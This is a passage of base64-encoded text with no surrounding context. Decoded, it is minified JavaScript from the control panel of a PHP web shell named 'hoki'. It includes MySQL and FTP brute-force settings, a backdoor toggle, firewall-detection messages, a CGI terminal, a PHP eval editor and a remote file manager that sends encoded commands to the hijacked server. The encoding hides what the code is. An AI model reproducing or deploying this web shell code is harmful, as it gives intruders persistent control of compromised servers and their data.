VhaztjYXNlIm15c3FsIjpicnV0ZVNldCghMSwiMzMwNiIsImh0dHA6Ly8iKTticmVhaztjYXNlImZ0cGMiOmJydXRlU2V0KCExLCIyMSIsImh0dHA6Ly8iKX19ZnVuY3Rpb24gYnJ1dGVTZXQoZSxhLHQpe2M9IjIxIiE9YT8ibG9jYWxob3N0IjoiZnRwLmV4YW1wbGUuY29tIiwkKCJwb3J0IikuZGlzYWJsZWQ9ZSwkKCJwb3J0IikudmFsdWU9YSwkKCJ0YXJnZXQiKS52YWx1ZT1jLCQoInByb3RvY29sIikudmFsdWU9dH1mdW5jdGlvbiBpbkJhY2tkb29yKGUpeyJteSI9PWUudmFsdWU/JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbGF5PSJibG9jayI6JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbGF5PSJub25lIn1mdW5jdGlvbiBzYXZlQnlLZXkoZSl7cmV0dXJuISgicyI9PVN0cmluZy5mcm9tQ2hhckNvZGUoZS53aGljaCkudG9Mb3dlckNhc2UoKSYmZS5jdHJsS2V5fHwxOT09ZS53aGljaCl8fCgkKCJlZGl0b3JfZWRpdF9hcmVhIikub25zdWJtaXQoKSxlLnByZXZlbnREZWZhdWx0KCksITEpfWZ1bmN0aW9uIGhva2lBamF4RXJyb3IoZSxhLHQsaSl7aWYodm9pZCAwIT09YSl7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjbG9hZGVyXyIrYSk7bnVsbCE9bCYmKGZpcmV3YWxsPSIiLDQwMz09ZSYmKGZpcmV3YWxsPSIgfiBGaXJlV2FsbCBEZXRlY3RlZCEiKSxsLnF1ZXJ5U2VsZWN0b3IoImltZyIpLnJlbW92ZSgpLGwucXVlcnlTZWxlY3RvcigiLmhva2ktYWpheC1lcnJvciIpLmlubmVySFRNTD1lKyIgKCAiK3QrZmlyZXdhbGwrIiApIixob2tpU2hvd05vdGlmaWNhdGlvbih0LCJBamF4IiwiZXJyb3IiKSl9fWZ1bmN0aW9uIGhva2lJbml0Q3dkQ29udGV4dCgpe2QucXVlcnlTZWxlY3RvckFsbCgiLmhlYWRlcl9wd2QiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciBhPWUudGFyZ2V0LmdldEF0dHJpYnV0ZSgicGF0aCIpLHQ9ZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1lPW5ld3RhYl0iKTt0LnNldEF0dHJpYnV0ZSgiaHJlZiIsImphdmFzY3JpcHQ6dm9pZCgwKTsiKSx0LnJlbW92ZUF0dHJpYnV0ZSgidGFyZ2V0IiksdC5vbmNsaWNrPWZ1bmN0aW9uKCl7aG9raUZpbGVzTWFuTmV3VGFiKGEsIi8iKX07dmFyIGk9ZS5jbGllbnRYLGw9ZS5jbGllbnRZO2hva2lTb3J0TWVudUl0ZW1zKFsibmV3dGFiIl0pLGhva2lSaWdodENsaWNrTWVudShpLGwpLGUucHJldmVudERlZmF1bHQoKX0pfSl9ZnVuY3Rpb24gaG9raVJpZ2h0Q2xpY2tNZW51KGUsYSl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudG9wPWErInB4IixyaWdodGNsaWNrX21lbnVfY29udGV4dC5sZWZ0PWUrInB4IixyaWdodGNsaWNrX21lbnVfY29udGV4dC52aXNpYmlsaXR5PSJ2aXNpYmxlIixyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIxIn1mdW5jdGlvbiBob2tpU29ydE1lbnVJdGVtcyhlKXt2YXIgYT1bIm5ld3RhYiIsImxpbmsiLCJkb3dubG9hZCIsInZpZXciLCJlZGl0IiwibW92ZSIsImNvcHkiLCJyZW5hbWUiLCJtb2RpZnkiLCJwZXJtaXNzaW9uIiwiY29tcHJlc3MiLCJleHRyYWN0IiwiZGVsZXRlIiwidmlld19hcmNoaXZlIl0sdD0hMTtmb3IodmFyIGkgaW4gYSl7Zm9yKHZhciBsIGluIHQ9ITEsZSlhW2ldIT1lW2xdfHwoZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1lPSIrYVtpXSsiXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIix0PSEwKTt0fHwoZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1lPSIrYVtpXSsiXSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiKX19ZnVuY3Rpb24gaG9raUFjZUNoYW5nZVNldHRpbmcoZSxhKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZSxpPWUuZ2V0QXR0cmlidXRlKCJiYXNlIiksbD1ob2tpX2FjZV9lZGl0b3JzLmVkaXRvcjsiZXZhbCI9PWkmJihsPWhva2lfYWNlX2VkaXRvcnMuZXZhbCk7dmFyIG89ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpOyJsYW5nIj09YT9sW29dLnNlc3Npb24uc2V0TW9kZSgiYWNlL21vZGUvIit0KToidGhlbWUiPT1hJiZsW29dLnNldFRoZW1lKCJhY2UvdGhlbWUvIit0KSxzZXRDb29raWUoImhva2lfYWNlXyIrYSsiXyIraSx0LDIwMTIpfWZ1bmN0aW9uIGhva2lBY2VDaGFuZ2VXcmFwTW9kZShlLGEpe3ZhciB0PWhva2lfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09YSYmKHQ9aG9raV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgiYWNlX2lkIik7ZS5jaGVja2VkP3RbaV0uc2Vzc2lvbi5zZXRVc2VXcmFwTW9kZSghMCk6dFtpXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCExKX1mdW5jdGlvbiBob2tpQWNlQ2hhbmdlRm9udFNpemUoZSxhLHQpe3ZhciBpPWhva2lfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09ZSYmKGk9aG9raV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgbD10LmdldEF0dHJpYnV0ZSgiYWNlX2lkIiksbz1pW2xdLmdldEZvbnRTaXplKCk7IisiPT1hPysrbzotLW8saVtsXS5zZXRGb250U2l6ZShvKSxzZXRDb29raWUoImhva2lfYWNlX2ZvbnRzaXplXyIrZSxvLDIwMTIpfWZ1bmN0aW9uIHNldENvb2tpZShlLGEsdCl7dmFyIGk9bmV3IERhdGU7aS5zZXRUaW1lKGkuZ2V0VGltZSgpKzI0KnQqNjAqNjAqMWUzKTt2YXIgbD0iZXhwaXJlcz0iK2kudG9VVENTdHJpbmcoKTtkb2N1bWVudC5jb29raWU9ZSsiPSIrYSsiOyIrbCsiO3BhdGg9LyJ9ZnVuY3Rpb24gZ2V0Q29va2llKGUpe3ZhciBhPSgiOyAiK2RvY3VtZW50LmNvb2tpZSkuc3BsaXQoIjsgIitlKyI9Iik7aWYoMj09YS5sZW5ndGgpcmV0dXJuIGEucG9wKCkuc3BsaXQoIjsiKS5zaGlmdCgpfWZ1bmN0aW9uIGVkaXRvckNsb3NlKGUpe2lmKGQuYm9keS5zdHlsZS5vdmVyZmxvdz0idmlzaWJsZSIsZWxlbT0kKGUpLGVsZW0uc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLWNsb3NlIiksImVkaXRvciI9PWUpe2lmKGlzX21pbmltaXplZD0hMSxudWxsIT1ob2tpX2FjZV9lZGl0b3JzLmVkaXRvciYmbnVsbCE9aG9raV9hY2VfZWRpdG9ycy5lZGl0b3Ipe2Zvcih2YXIgYSBpbiBob2tpX2FjZV9lZGl0b3JzLmVkaXRvcilob2tpX2FjZV9lZGl0b3JzLmVkaXRvclthXS5kZXN0cm95KCk7aG9raV9hY2VfZWRpdG9ycy5lZGl0b3I9bnVsbCxkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudC1ob2xkZXIiKS5pbm5lckhUTUw9IiJ9fWVsc2UgaWYoImNnaWxvYWRlciI9PWUpcGhwX3RlbXJpbmFsX3VzaW5nX2NnaSYmKGQucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtY29udGVudHMiKS5pbm5lckhUTUw9IiIpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITEsY2dpX2lzX21pbmltaXplZD0hMTtlbHNlIGlmKCJvcHRpb25zX3dpbmRvdyI9PWUpe2lmKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMSxudWxsIT1ob2tpX2FjZV9lZGl0b3JzLmV2YWwpe2Zvcih2YXIgYSBpbiBob2tpX2FjZV9lZGl0b3JzLmV2YWwpaG9raV9hY2VfZWRpdG9ycy5ldmFsW2FdLmRlc3Ryb3koKTtob2tpX2FjZV9lZGl0b3JzLmV2YWw9bnVsbCxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5waHAtZXZhbHMiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlQXR0cmlidXRlKCJhY2UiKX0pfX1lbHNlImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZWxlbT0kKGUpLGVsZW0ucmVtb3ZlQXR0cmlidXRlKCJjbGFzcyIpLGVsZW0uc3R5bGUuZGlzcGxheT0ibm9uZSIsIm9wdGlvbnNfd2luZG93Ij09ZSYmKGVsZW0ucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfdGFiIikuaW5uZXJIVE1MPSIiLGVsZW0ucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfY29udGVudCIpLmlubmVySFRNTD0iIil9LDFlMyksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIn1mdW5jdGlvbiBwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpe3ZhciBlPXtjZ2lsb2FkZXI6Y2dpX2lzX21pbmltaXplZCxvcHRpb25zX3dpbmRvdzpvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQsZGF0YWJhc2Vfd2luZG93OmRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQsZWRpdG9yOmlzX21pbmltaXplZH0sYT1bXTtmb3IodmFyIHQgaW4gZSllW3RdJiZhLnB1c2godCk7MT09YS5sZW5ndGg/JChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiOjI9PWEubGVuZ3RoPygkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjIwJSIsJChhWzFdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI1MCUiKTozPT1hLmxlbmd0aD8oJChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIwJSIsJChhWzFdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiLCQoYVsyXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iNjAlIik6ND09YS5sZW5ndGgmJigkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIsJChhWzJdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI1NSUiLCQoYVszXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iODAlIil9ZnVuY3Rpb24gc2hvd0VkaXRvcihlKXtpZigkKGUpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1zaG93IiksJChlKyItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1oaWRlIiksImVkaXRvciI9PWUpaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoImNnaWxvYWRlciI9PWUpY2dpX2lzX21pbmltaXplZD0hMTtlbHNlIGlmKCJvcHRpb25zX3dpbmRvdyI9PWUpe29wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMTt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUudGFiLWlzLWRvbmUiKTtudWxsIT1hJiZhLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIil9ZWxzZSJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMSk7cG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gZWRpdG9yTWluaW1pemUoZSl7JChlKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tbWluaW1pemUiKSwkKGUrIi1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwibWluaW1pemVkLXNob3ciKSwiZWRpdG9yIj09ZT9pc19taW5pbWl6ZWQ9ITA6ImNnaWxvYWRlciI9PWU/Y2dpX2lzX21pbmltaXplZD0hMDoib3B0aW9uc193aW5kb3ciPT1lP29wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMDoiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITApLHBvcHVwV2luZG93QmFja1Bvc2l0aW9uKCksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIn1mdW5jdGlvbiBjbGVhckVkaXRvckhpc3RvcnkoKXtpZihjb25maXJtKCJBcmUgdSBTdXJlPyIpKWZvcih2YXIgZSBpbiBlZGl0b3JfZmlsZXMpZSE9ZWRpdG9yX2N1cnJlbnRfZmlsZSYmcmVtb3ZlSGlzdG9yeShlKX1mdW5jdGlvbiBpc0FyY2hpdmUoZSl7dmFyIGEsdD1bIi50YXIuZ3oiLCIudGFyLmJ6MiIsIi50YXIueiIsIi50YXIueHoiLCIuemlwIiwiLnppcHgiLCIuN3oiLCIuYnoyIiwiLmd6IiwiLnJhciIsIi50YXIiLCIudGd6Il07Zm9yKGEgaW4gdClpZihuZXcgUmVnRXhwKCIoLiopKCIrdFthXS5yZXBsYWNlKC9cLi9nLCJcXC4iKSsiKSQiLCJnaSIpLnRlc3QoZSkpcmV0dXJuITA7cmV0dXJuITF9ZnVuY3Rpb24gZWRpdG9yKGUsYSx0LGksbCxvKXtpZigiZGlyIj09byYmIi4uIj09ZSlyZXR1cm4hMTtpZigiZG93bmxvYWQiPT1hKXJldHVybiBnKCJGaWxlc1Rvb2xzIixpLGUsImRvd25sb2FkIiksITE7dmFyIHI9IiIsbj0iIixzPSIiLGM9IiIsZj1kLm1mLmMudmFsdWUsXz0hMDtpZihlPWUudHJpbSgpLDA9PU9iamVjdC5rZXlzKGVkaXRvcl9maWxlcykubGVuZ3RoKXt2YXIgdT1nZXRDb29raWUoImhva2lfaGlzdG9yeV9maWxlcyIpO3RyeXtmb3IodmFyIHAgaW4gdT1hdG9iKHUpLGVkaXRvcl9maWxlcz1KU09OLnBhcnNlKHUpKWluc2VydFRvSGlzdG9yeShwLGVkaXRvcl9maWxlc1twXS5maWxlLDAsZWRpdG9yX2ZpbGVzW3BdLnR5cGUpfWNhdGNoKGUpe319aWYoInBoYXI6Ly8iPT1lLnN1YnN0cigwLDcpKWY9Y187ZWxzZSBpZigtMSE9ZS5pbmRleE9mKCIvIikpe3ZhciBtPWUuc3BsaXQoIi8iKTtlPW1bbS5sZW5ndGgtMV0sZGVsZXRlIG1bbS5sZW5ndGgtMV0sZj1tLmpvaW4oIi8iKSxpc2xpbnV4JiYoZj0iLyIrZil9aWYodm9pZCAwPT09byYmKG89IiIpLHZvaWQgMCE9PWkmJm51bGwhPWkmJjAhPWkubGVuZ3RoJiYoZj1pLnRyaW0oKSksImF1dG8iPT1hJiZpc0FyY2hpdmUoZSkpcmV0dXJuIGhva2lTeW5jTWVudVRvT3B0KGUsITApLCExO3RyeXtmb3IodmFyIHYgaW4gZWRpdG9yX2ZpbGVzKWlmKGVkaXRvcl9maWxlc1t2XS5maWxlPT1kZWNvZGVVUklDb21wb25lbnQoZSkmJmVkaXRvcl9maWxlc1t2XS5wd2QucmVwbGFjZSgvXC8vZywiIik9PWYucmVwbGFjZSgvXC8vZywiIikpe189ITEsbD12O2JyZWFrfX1jYXRjaChlKXt9aWYoZWRpdG9yX2Vycm9yPSEwLHZvaWQgMCE9PXQmJjAhPXQubGVuZ3RoJiZudWxsIT10JiYocj1ob2tpYjY0KHQpKSx2b2lkIDAhPT1sJiZudWxsIT1sJiYwIT1sLmxlbmd0aCluPWhva2liNjQobCkscz1sLGM9bC5yZXBsYWNlKCJmaWxlXyIsIiIpO2Vsc2V7dmFyIGg9ImZpbGVfIisoYz1nZXRSYW5kb20oMTApKTtuPWhva2liNjQoaCkscz1ofXZhciBiPSJlZGl0b3Jfc291cmNlXyIrYztpZihudWxsPT0kKGIpKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnRzLmVkaXRvci1jb250ZW50LWFjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMgLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoImVkaXRvci10YWItYWN0aXZlIil9Y2F0Y2goZSl7fWQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCI8ZGl2IG9uY2xpY2s9J2VkaXRvclRhYkNvbnRyb2xsZXIodGhpcyk7JyBvcHRfaWQ9JyIrYisiJyBpZD0ndGFiXyIrYisiJyBjbGFzcz0nZWRpdG9yLXRhYi1uYW1lIGVkaXRvci10YWItYWN0aXZlJz4iK2RlY29kZVVSSUNvbXBvbmVudChlKSsiIDxpbWcgb3B0X2lkPSciK2IrIicgb25jbGljaz0nY2xvc2VFZGl0b3JDb250ZW50KHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsnIHRpdGxlPSdbY2xvc2VdJyBzcmM9J2h0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZyc+PC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnQtaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnRzIGVkaXRvci1jb250ZW50LWFjdGl2ZScgaWQ9JyIrYisiJz48L2Rpdj4iKX1yZXR1cm4gMD09aXNfbWluaW1pemVkJiYibm9uZSI9PSQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk/KCQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixzaG93RWRpdG9yKCJlZGl0b3IiKSxob2tpbG9hZGVyKGIsImJsb2NrIikpOihpc19taW5pbWl6ZWQmJnNob3dFZGl0b3IoImVkaXRvciIpLG51bGwhPSQoYik/aG9raWxvYWRlcihiLCJibG9jayIpOihob2tpbG9hZGVyKCJlZGl0b3IiLCJibG9jayIpLGI9ImVkaXRvciIpKSxfQWpheChkLlVSTCwiYT0iK2hva2liNjQoIkZpbGVzVG9vbHMiKSsiJmM9Iitob2tpYjY0KGYpKyImaG9raTE9Iitob2tpYjY0KGUpKyImaG9raTI9Iitob2tpYjY0KGEpKyImaG9raTM9IityKyImaG9raTQ9IituKyImaG9raTU9Jmhva2k2PSZob2tpNz0maG9raTg9Jmhva2k5PSZob2tpMTA9JiZhamF4PSIraG9raWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKHQsaSl7dmFyIGw9JCgidGFiXyIraSk7dHJ5e251bGwhPWwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIil8fGlzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksaG9raVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRvbmUuLi4iLCJFZGl0b3I6ICIrbC5pbm5lclRleHQpKSxpc19taW5pbWl6ZWQmJmhva2lVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpKX1jYXRjaCh0KXt9aWYoIm5vbmUiPT0kKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5P2hva2lMb2FkZXJPblRvcCgibm9uZSIpOmhva2lsb2FkZXIoaSwibm9uZSIpLHIubGVuZ3RoPjAmJiJlZGl0Ij09YSlyZXR1cm4gaXNfbWluaW1pemVkfHxudWxsIT1sJiYtMSE9bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSYmaG9raVNob3dOb3RpZmljYXRpb24oInNhdmVkLi4uISIsIkVkaXRvciIpLCExO2lmKG51bGwhPSQoaSkmJigkKGkpLmlubmVySFRNTD10KSxpc19taW5pbWl6ZWQmJmhva2lTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yOiAiK2RlY29kZVVSSUNvbXBvbmVudChlKSksJCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGV2YWxKUyh0KSxob2tpTG9hZEFjZUVkaXRvcigidmlld19tbF9jb250ZW50IiksImRlbGV0ZSIhPWEmJmVkaXRvcl9lcnJvcil7dmFyIGM9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJpc19hY3RpdmUiKTswIT1jLmxlbmd0aCYmKGNbMF0uY2xhc3NOYW1lPSJmaWxlLWhvbGRlciIpLG49cyxlPWRlY29kZVVSSUNvbXBvbmVudChlKSwhZWRpdG9yX2ZpbGVzW25dJiZfPyhlZGl0b3JfZmlsZXNbbl09e2ZpbGU6ZSxwd2Q6Zix0eXBlOm99LGluc2VydFRvSGlzdG9yeShuLGUsIiBpc19hY3RpdmUiLG8pLCJta2ZpbGUiPT1hJiZnKCJGaWxlc01hbiIsbnVsbCkpOiQobikucGFyZW50Tm9kZS5jbGFzc05hbWUrPSIgaXNfYWN0aXZlIn1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIsZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF0uc2V0QXR0cmlidXRlKCJmaWQiLG4pLGVkaXRvcl9maWxlc1tuXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpdG9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tuXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tuXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksZWRpdG9yX2N1cnJlbnRfZmlsZT1uLHVwZGF0ZUNvb2tpZUVkaXRvcigpfSwhMSxiKSwhMX1mdW5jdGlvbiBob2tpTG9hZEFjZUVkaXRvcihlLGEpe2lmKHZvaWQgMD09PWEmJihhPSExKSxudWxsPT0kKCJob2tpLWFjZS1wbHVnaW4iKSl7dmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cmV0dXJuIHQuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hY2UvMS40LjExL2FjZS5qcyIsdC5pZD0iaG9raS1hY2UtcGx1Z2luIix0Lm9ubG9hZD1mdW5jdGlvbigpe2hva2lMb2FkQWNlRWRpdG9yKGUsYSl9LGQuYm9keS5hcHBlbmRDaGlsZCh0KSwhMX10cnl7ImFsbG93Ij09JChlKS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSYmKGE9ITEpfWNhdGNoKGUpe31pZigidmlld19tbF9jb250ZW50Ij09ZSl7bnVsbD09aG9raV9hY2VfZWRpdG9ycy5lZGl0b3ImJihob2tpX2FjZV9lZGl0b3JzLmVkaXRvcj17fSk7dmFyIGk9Z2V0Q29va2llKCJob2tpX2FjZV90aGVtZV9lZGl0b3IiKSxsPWdldENvb2tpZSgiaG9raV9hY2VfZm9udHNpemVfZWRpdG9yIik7dm9pZCAwPT09aSYmKGk9InRlcm1pbmFsIiksMD09aS5sZW5ndGgmJihpPSJ0ZXJtaW5hbCIpLGQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci1hY2UtY29udHJvbGxlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7aWYobnVsbCE9ZS5nZXRBdHRyaWJ1dGUoImFjZSIpKXJldHVybiExO2Uuc2V0QXR0cmlidXRlKCJhY2UiLCJvayIpO3ZhciB0PWdldFJhbmRvbSgxMCksbz1lLnF1ZXJ5U2VsZWN0b3IoIi52aWV3X21sX2NvbnRlbnQiKTtvLnNldEF0dHJpYnV0ZSgiaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0KSxob2tpX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF09YWNlLmVkaXQobyksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNldFJlYWRPbmx5KGEpLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRTaG93UHJpbnRNYXJnaW4oITEpLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0TW9kZSgiYWNlL21vZGUvcGhwIiksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5jb21tYW5kcy5hZGRDb21tYW5kKHtuYW1lOiJzYXZlIixiaW5kS2V5Ont3aW46IkN0cmwtUyIsbWFjOiJDbWQtUyJ9LGV4ZWM6ZnVuY3Rpb24oZSl7ZC5xdWVyeVNlbGVjdG9yKCIjYWNlLXNhdmUtYnRuLSIrdCkuY2xpY2soKX19KSxlLnF1ZXJ5U2VsZWN0b3IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0KSwtMSE9ZS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWNlLXNhdmUtYnRuIikmJmUuc2V0QXR0cmlidXRlKCJpZCIsImFjZS1zYXZlLWJ0bi0iK3QpfSksdm9pZCAwIT09bCYmc2V0VGltZW91dChmdW5jdGlvbigpe2hva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX1lbHNle251bGw9PWhva2lfYWNlX2VkaXRvcnMuZXZhbCYmKGhva2lfYWNlX2VkaXRvcnMuZXZhbD17fSk7aT1nZXRDb29raWUoImhva2lfYWNlX3RoZW1lX2V2YWwiKSxsPWdldENvb2tpZSgiaG9raV9hY2VfZm9udHNpemVfZXZhbCIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5waHAtZXZhbHMiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtZXZhbHMtYWNlIiksbz1nZXRSYW5kb20oMTApO3Quc2V0QXR0cmlidXRlKCJpZCIsInBocGV2YWwtIitvKSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXT1hY2UuZWRpdCh0KSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRSZWFkT25seShhKSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRTaG93UHJpbnRNYXJnaW4oITE